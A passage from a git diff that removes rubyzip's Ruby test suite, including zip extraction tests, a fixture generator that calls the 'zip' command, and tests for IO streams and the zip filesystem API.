zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/longBinary.bin b/lib/zip/test/data/generated/longBinary.bin deleted file mode 100644 index df673254c4..0000000000 Binary files a/lib/zip/test/data/generated/longBinary.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomAscii1.txt b/lib/zip/test/data/generated/randomAscii1.txt deleted file mode 100644 index b2b472a203..0000000000 --- a/lib/zip/test/data/generated/randomAscii1.txt +++ /dev/null @@ -1 +0,0 @@ -0.040244959211864 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii2.txt b/lib/zip/test/data/generated/randomAscii2.txt deleted file mode 100644 index 64dc85e2c4..0000000000 --- a/lib/zip/test/data/generated/randomAscii2.txt +++ /dev/null @@ -1 +0,0 @@ -0.917381580665493 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii3.txt b/lib/zip/test/data/generated/randomAscii3.txt deleted file mode 100644 index c7f3a83bff..0000000000 --- a/lib/zip/test/data/generated/randomAscii3.txt +++ /dev/null @@ -1 +0,0 @@ -0.670572209005379 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomBinary1.bin b/lib/zip/test/data/generated/randomBinary1.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary1.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomBinary2.bin b/lib/zip/test/data/generated/randomBinary2.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary2.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/short.txt b/lib/zip/test/data/generated/short.txt deleted file mode 100644 index 1c5f8ba2db..0000000000 --- a/lib/zip/test/data/generated/short.txt +++ /dev/null @@ -1 +0,0 @@ -ABCDEF \ No newline at end of file diff --git a/lib/zip/test/data/generated/test1.zip b/lib/zip/test/data/generated/test1.zip deleted file mode 100644 index 2ce05cedf4..0000000000 Binary files a/lib/zip/test/data/generated/test1.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/zipWithDir.zip b/lib/zip/test/data/generated/zipWithDir.zip deleted file mode 100644 index 476120bff1..0000000000 Binary files a/lib/zip/test/data/generated/zipWithDir.zip and /dev/null differ diff --git a/lib/zip/test/data/notzippedruby.rb b/lib/zip/test/data/notzippedruby.rb deleted file mode 100755 index 036d25e92c..0000000000 --- a/lib/zip/test/data/notzippedruby.rb +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -class NotZippedRuby - def returnTrue - true - end -end diff --git a/lib/zip/test/data/rubycode.zip b/lib/zip/test/data/rubycode.zip deleted file mode 100644 index 8a68560e63..0000000000 Binary files a/lib/zip/test/data/rubycode.zip and /dev/null differ diff --git a/lib/zip/test/data/rubycode2.zip b/lib/zip/test/data/rubycode2.zip deleted file mode 100644 index 8e1cd08f2d..0000000000 Binary files a/lib/zip/test/data/rubycode2.zip and /dev/null differ diff --git a/lib/zip/test/data/testDirectory.bin b/lib/zip/test/data/testDirectory.bin deleted file mode 100644 index cbdb9f7d74..0000000000 Binary files a/lib/zip/test/data/testDirectory.bin and /dev/null differ diff --git a/lib/zip/test/data/zipWithDirs.zip b/lib/zip/test/data/zipWithDirs.zip deleted file mode 100644 index 4b01f011ae..0000000000 Binary files a/lib/zip/test/data/zipWithDirs.zip and /dev/null differ diff --git a/lib/zip/test/gentestfiles.rb b/lib/zip/test/gentestfiles.rb deleted file mode 100755 index 45116ec5b5..0000000000 --- a/lib/zip/test/gentestfiles.rb +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -class TestFiles - RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt" - RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt" - RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt" - RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin" - RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin" - - EMPTY_TEST_DIR = "data/generated/emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.create_test_files(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - Dir.mkdir "data/generated" rescue Errno::EEXIST - - ASCII_TEST_FILES.each_with_index { - |filename, index| - create_random_ascii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - create_random_binary(filename, 1E4 * (index+1)) - } - - ensure_dir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.create_random_ascii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.create_random_binary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << [rand].pack("V") - end - } - end - - def TestFiles.ensure_dir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - - - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zip_name, :entry_names, :comment - - def initialize(zip_name, entry_names, comment = "") - @zip_name=zip_name - @entry_names=entry_names - if "".respond_to? :force_encoding - @entry_names.each {|name| name.force_encoding("ASCII-8BIT")} - end - @comment = comment - end - - def TestZipFile.create_test_zips(recreate) - files = Dir.entries("data/generated") - if (recreate || - ! (files.index(File.basename(TEST_ZIP1.zip_name)) && - files.index(File.basename(TEST_ZIP2.zip_name)) && - files.index(File.basename(TEST_ZIP3.zip_name)) && - files.index(File.basename(TEST_ZIP4.zip_name)) && - files.index("empty.txt") && - files.index("empty_chmod640.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} data/file2.txt") - raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt") - - File.open("data/generated/empty.txt", "w") {} - File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) } - - File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("data/file2.txt") { |file| ziptestTxt=file.read } - File.open("data/generated/longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("data/generated/longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand << "\0" - end - } - raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless - system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless - system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless - system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", []) - TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt }) - TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -END { - TestFiles::create_test_files(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - TestZipFile::create_test_zips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - exit if ARGV.index("recreateonly") != nil -} diff --git a/lib/zip/test/ioextrastest.rb b/lib/zip/test/ioextrastest.rb deleted file mode 100755 index b18e9db987..0000000000 --- a/lib/zip/test/ioextrastest.rb +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ioextras' - -include IOExtras - -class FakeIOTest < Test::Unit::TestCase - class FakeIOUsingClass - include FakeIO - end - - def test_kind_of? - obj = FakeIOUsingClass.new - - assert(obj.kind_of?(Object)) - assert(obj.kind_of?(FakeIOUsingClass)) - assert(obj.kind_of?(IO)) - assert(!obj.kind_of?(Fixnum)) - assert(!obj.kind_of?(String)) - end -end - -class AbstractInputStreamTest < Test::Unit::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - super() - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produce_input - read(100) - end - - def input_finished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equal(TEST_LINES[0], @io.gets) - assert_equal(1, @io.lineno) - assert_equal(TEST_LINES[1], @io.gets) - assert_equal(2, @io.lineno) - assert_equal(TEST_LINES[2], @io.gets) - assert_equal(3, @io.lineno) - assert_equal(nil, @io.gets) - assert_equal(4, @io.lineno) - end - - def test_getsMultiCharSeperator - assert_equal("Hell", @io.gets("ll")) - assert_equal("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equal(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equal(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class AbstractOutputStreamTest < Test::Unit::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equal("a little string", @outputStream.buffer) - assert_equal("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equal("a little string. a little more", @outputStream.buffer) - assert_equal(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equal("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equal("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equal("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equal("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equal("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equal("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equal("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equal("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equal("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equal("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equal("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equal("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equal("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/stdrubyexttest.rb b/lib/zip/test/stdrubyexttest.rb deleted file mode 100755 index f11608f7f3..0000000000 --- a/lib/zip/test/stdrubyexttest.rb +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/stdrubyext' - -class ModuleTest < Test::Unit::TestCase - - def test_select_map - assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) - end - -end - -class StringExtensionsTest < Test::Unit::TestCase - - def test_starts_with - assert("hello".starts_with("")) - assert("hello".starts_with("h")) - assert("hello".starts_with("he")) - assert(! "hello".starts_with("hello there")) - assert(! "hello".starts_with(" he")) - - assert_raise(TypeError, "type mismatch: NilClass given") { - "hello".starts_with(nil) - } - end - - def test_ends_with - assert("hello".ends_with("o")) - assert("hello".ends_with("lo")) - assert("hello".ends_with("hello")) - assert(!"howdy".ends_with("o")) - assert(!"howdy".ends_with("oy")) - assert(!"howdy".ends_with("howdy doody")) - assert(!"howdy".ends_with("doody howdy")) - end - - def test_ensure_end - assert_equal("hello!", "hello!".ensure_end("!")) - assert_equal("hello!", "hello!".ensure_end("o!")) - assert_equal("hello!", "hello".ensure_end("!")) - assert_equal("hello!", "hel".ensure_end("lo!")) - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/zipfilesystemtest.rb b/lib/zip/test/zipfilesystemtest.rb deleted file mode 100755 index f74e804696..0000000000 --- a/lib/zip/test/zipfilesystemtest.rb +++ /dev/null @@ -1,845 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zipfilesystem' -require 'test/unit' -require 'fileutils' - -module ExtraAssertions - - def assert_forwarded(anObject, method, retVal, *expectedArgs) - callArgs = nil - setCallArgsProc = proc { |args| callArgs = args } - anObject.instance_eval <<-"end_eval" - alias #{method}_org #{method} - def #{method}(*args) - ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args) - ObjectSpace._id2ref(#{retVal.object_id}) - end - end_eval - - assert_equal(retVal, yield) # Invoke test - assert_equal(expectedArgs, callArgs) - ensure - anObject.instance_eval "undef #{method}; alias #{method} #{method}_org" - end - -end - -include Zip - -class ZipFsFileNonmutatingTest < Test::Unit::TestCase - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_umask - assert_equal(File.umask, @zipFile.file.umask) - @zipFile.file.umask(0006) - end - - def test_exists? - assert(! @zipFile.file.exists?("notAFile")) - assert(@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("dir1")) - assert(@zipFile.file.exists?("dir1/")) - assert(@zipFile.file.exists?("dir1/file12")) - assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? ! - - @zipFile.dir.chdir "dir1/" - assert(!@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("file12")) - end - - def test_open_read - blockCalled = false - @zipFile.file.open("file1", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.file.open("file1", "rb") { # test binary flag is ignored - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.dir.chdir "dir2" - @zipFile.file.open("file21", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'dir2/file21' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - @zipFile.dir.chdir "/" - - assert_raise(Errno::ENOENT) { - @zipFile.file.open("noSuchEntry") - } - - begin - is = @zipFile.file.open("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - end - - def test_new - begin - is = @zipFile.file.new("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - begin - is = @zipFile.file.new("file1") { - fail "should not call block" - } - ensure - is.close if is - end - end - - def test_symlink - assert_raise(NotImplementedError) { - @zipFile.file.symlink("file1", "aSymlink") - } - end - - def test_size - assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") } - assert_equal(72, @zipFile.file.size("file1")) - assert_equal(0, @zipFile.file.size("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size) - assert_equal(0, @zipFile.file.stat("dir2/dir21").size) - end - - def test_size? - assert_equal(nil, @zipFile.file.size?("notAFile")) - assert_equal(72, @zipFile.file.size?("file1")) - assert_equal(nil, @zipFile.file.size?("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size?) - assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?) - end - - - def test_file? - assert(@zipFile.file.file?("file1")) - assert(@zipFile.file.file?("dir2/file21")) - assert(! @zipFile.file.file?("dir1")) - assert(! @zipFile.file.file?("dir1/dir11")) - - assert(@zipFile.file.stat("file1").file?) - assert(@zipFile.file.stat("dir2/file21").file?) - assert(! @zipFile.file.stat("dir1").file?) - assert(! @zipFile.file.stat("dir1/dir11").file?) - end - - include ExtraAssertions - - def test_dirname - assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { - @zipFile.file.dirname("a/b/c/d") - } - end - - def test_basename - assert_forwarded(File, :basename, "retVal", "a/b/c/d") { - @zipFile.file.basename("a/b/c/d") - } - end - - def test_split - assert_forwarded(File, :split, "retVal", "a/b/c/d") { - @zipFile.file.split("a/b/c/d") - } - end - - def test_join - assert_equal("a/b/c", @zipFile.file.join("a/b", "c")) - assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d")) - assert_equal("/c/d", @zipFile.file.join("", "c/d")) - assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) - end - - def test_utime - t_now = Time.now - t_bak = @zipFile.file.mtime("file1") - @zipFile.file.utime(t_now, "file1") - assert_equal(t_now, @zipFile.file.mtime("file1")) - @zipFile.file.utime(t_bak, "file1") - assert_equal(t_bak, @zipFile.file.mtime("file1")) - end - - - def assert_always_false(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(! @zipFile.file.send(operation, "file1")) - assert(! @zipFile.file.send(operation, "dir1")) - assert(! @zipFile.file.stat("file1").send(operation)) - assert(! @zipFile.file.stat("dir1").send(operation)) - end - - def assert_true_if_entry_exists(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(@zipFile.file.send(operation, "file1")) - assert(@zipFile.file.send(operation, "dir1")) - assert(@zipFile.file.stat("file1").send(operation)) - assert(@zipFile.file.stat("dir1").send(operation)) - end - - def test_pipe? - assert_always_false(:pipe?) - end - - def test_blockdev? - assert_always_false(:blockdev?) - end - - def test_symlink? - assert_always_false(:symlink?) - end - - def test_socket? - assert_always_false(:socket?) - end - - def test_chardev? - assert_always_false(:chardev?) - end - - def test_truncate - assert_raise(StandardError, "truncate not supported") { - @zipFile.file.truncate("file1", 100) - } - end - - def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) - assert_raise(Errno::ENOENT) { - @zipFile.file.send(operation, *args) - } - end - - def test_ftype - assert_e_n_o_e_n_t(:ftype) - assert_equal("file", @zipFile.file.ftype("file1")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11/")) - end - - def test_link - assert_raise(NotImplementedError) { - @zipFile.file.link("file1", "someOtherString") - } - end - - def test_directory? - assert(! @zipFile.file.directory?("notAFile")) - assert(! @zipFile.file.directory?("file1")) - assert(! @zipFile.file.directory?("dir1/file11")) - assert(@zipFile.file.directory?("dir1")) - assert(@zipFile.file.directory?("dir1/")) - assert(@zipFile.file.directory?("dir2/dir21")) - - assert(! @zipFile.file.stat("file1").directory?) - assert(! @zipFile.file.stat("dir1/file11").directory?) - assert(@zipFile.file.stat("dir1").directory?) - assert(@zipFile.file.stat("dir1/").directory?) - assert(@zipFile.file.stat("dir2/dir21").directory?) - end - - def test_chown - assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1")) - assert_equal(1, @zipFile.file.stat("dir1").uid) - assert_equal(2, @zipFile.file.stat("dir1").gid) - assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) - end - - def test_zero? - assert(! @zipFile.file.zero?("notAFile")) - assert(! @zipFile.file.zero?("file1")) - assert(@zipFile.file.zero?("dir1")) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.zero?("data/generated/empty.txt")) - } - assert(blockCalled) - - assert(! @zipFile.file.stat("file1").zero?) - assert(@zipFile.file.stat("dir1").zero?) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.stat("data/generated/empty.txt").zero?) - } - assert(blockCalled) - end - - def test_expand_path - ZipFile.open("data/zipWithDirs.zip") { - |zf| - assert_equal("/", zf.file.expand_path(".")) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.file.expand_path(".")) - assert_equal("/dir1/file12", zf.file.expand_path("file12")) - assert_equal("/", zf.file.expand_path("..")) - assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) - } - end - - def test_mtime - assert_equal(Time.at(1027694306), - @zipFile.file.mtime("dir2/file21")) - assert_equal(Time.at(1027690863), - @zipFile.file.mtime("dir2/dir21")) - assert_raise(Errno::ENOENT) { - @zipFile.file.mtime("noSuchEntry") - } - - assert_equal(Time.at(1027694306), - @zipFile.file.stat("dir2/file21").mtime) - assert_equal(Time.at(1027690863), - @zipFile.file.stat("dir2/dir21").mtime) - end - - def test_ctime - assert_nil(@zipFile.file.ctime("file1")) - assert_nil(@zipFile.file.stat("file1").ctime) - end - - def test_atime - assert_nil(@zipFile.file.atime("file1")) - assert_nil(@zipFile.file.stat("file1").atime) - end - - def test_readable? - assert(! @zipFile.file.readable?("noSuchFile")) - assert(@zipFile.file.readable?("file1")) - assert(@zipFile.file.readable?("dir1")) - assert(@zipFile.file.stat("file1").readable?) - assert(@zipFile.file.stat("dir1").readable?) - end - - def test_readable_real? - assert(! @zipFile.file.readable_real?("noSuchFile")) - assert(@zipFile.file.readable_real?("file1")) - assert(@zipFile.file.readable_real?("dir1")) - assert(@zipFile.file.stat("file1").readable_real?) - assert(@zipFile.file.stat("dir1").readable_real?) - end - - def test_writable? - assert(! @zipFile.file.writable?("noSuchFile")) - assert(@zipFile.file.writable?("file1")) - assert(@zipFile.file.writable?("dir1")) - assert(@zipFile.file.stat("file1").writable?) - assert(@zipFile.file.stat("dir1").writable?) - end - - def test_writable_real? - assert(! @zipFile.file.writable_real?("noSuchFile")) - assert(@zipFile.file.writable_real?("file1")) - assert(@zipFile.file.writable_real?("dir1")) - assert(@zipFile.file.stat("file1").writable_real?) - assert(@zipFile.file.stat("dir1").writable_real?) - end - - def test_executable? - assert(! @zipFile.file.executable?("noSuchFile")) - assert(! @zipFile.file.executable?("file1")) - assert(@zipFile.file.executable?("dir1")) - assert(! @zipFile.file.stat("file1").executable?) - assert(@zipFile.file.stat("dir1").executable?) - end - - def test_executable_real? - assert(! @zipFile.file.executable_real?("noSuchFile")) - assert(! @zipFile.file.executable_real?("file1")) - assert(@zipFile.file.executable_real?("dir1")) - assert(! @zipFile.file.stat("file1").executable_real?) - assert(@zipFile.file.stat("dir1").executable_real?) - end - - def test_owned? - assert_true_if_entry_exists(:owned?) - end - - def test_grpowned? - assert_true_if_entry_exists(:grpowned?) - end - - def test_setgid? - assert_always_false(:setgid?) - end - - def test_setuid? - assert_always_false(:setgid?) - end - - def test_sticky? - assert_always_false(:sticky?) - end - - def test_readlink - assert_raise(NotImplementedError) { - @zipFile.file.readlink("someString") - } - end - - def test_stat - s = @zipFile.file.stat("file1") - assert(s.kind_of?(File::Stat)) # It pretends - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.stat("noSuchFile") - } - end - - def test_lstat - assert(@zipFile.file.lstat("file1").file?) - end - - - def test_chmod - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.chmod(0644, "file1", "NoSuchFile") - } - assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1")) - end - - def test_pipe - assert_raise(NotImplementedError) { - @zipFile.file.pipe - } - end - - def test_foreach - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt", " ") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt", " ") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - end - - def test_popen - if RUBY_PLATFORM =~ /mswin|mingw/i - cmd = 'dir' - else - cmd = 'ls' - end - - assert_equal(File.popen(cmd) { |f| f.read }, - @zipFile.file.popen(cmd) { |f| f.read }) - end - -# Can be added later -# def test_select -# fail "implement test" -# end - - def test_readlines - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.readlines("data/file1.txt"), - zf.file.readlines("data/file1.txt")) - } - end - - def test_read - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.read("data/file1.txt"), - zf.file.read("data/file1.txt")) - } - end - -end - -class ZipFsFileStatTest < Test::Unit::TestCase - - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_blocks - assert_equal(nil, @zipFile.file.stat("file1").blocks) - end - - def test_ino - assert_equal(0, @zipFile.file.stat("file1").ino) - end - - def test_uid - assert_equal(0, @zipFile.file.stat("file1").uid) - end - - def test_gid - assert_equal(0, @zipFile.file.stat("file1").gid) - end - - def test_ftype - assert_equal("file", @zipFile.file.stat("file1").ftype) - assert_equal("directory", @zipFile.file.stat("dir1").ftype) - end - - def test_mode - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - end - - def test_dev - assert_equal(0, @zipFile.file.stat("file1").dev) - end - - def test_rdev - assert_equal(0, @zipFile.file.stat("file1").rdev) - end - - def test_rdev_major - assert_equal(0, @zipFile.file.stat("file1").rdev_major) - end - - def test_rdev_minor - assert_equal(0, @zipFile.file.stat("file1").rdev_minor) - end - - def test_nlink - assert_equal(1, @zipFile.file.stat("file1").nlink) - end - - def test_blksize - assert_nil(@zipFile.file.stat("file1").blksize) - end - -end - -class ZipFsFileMutatingTest < 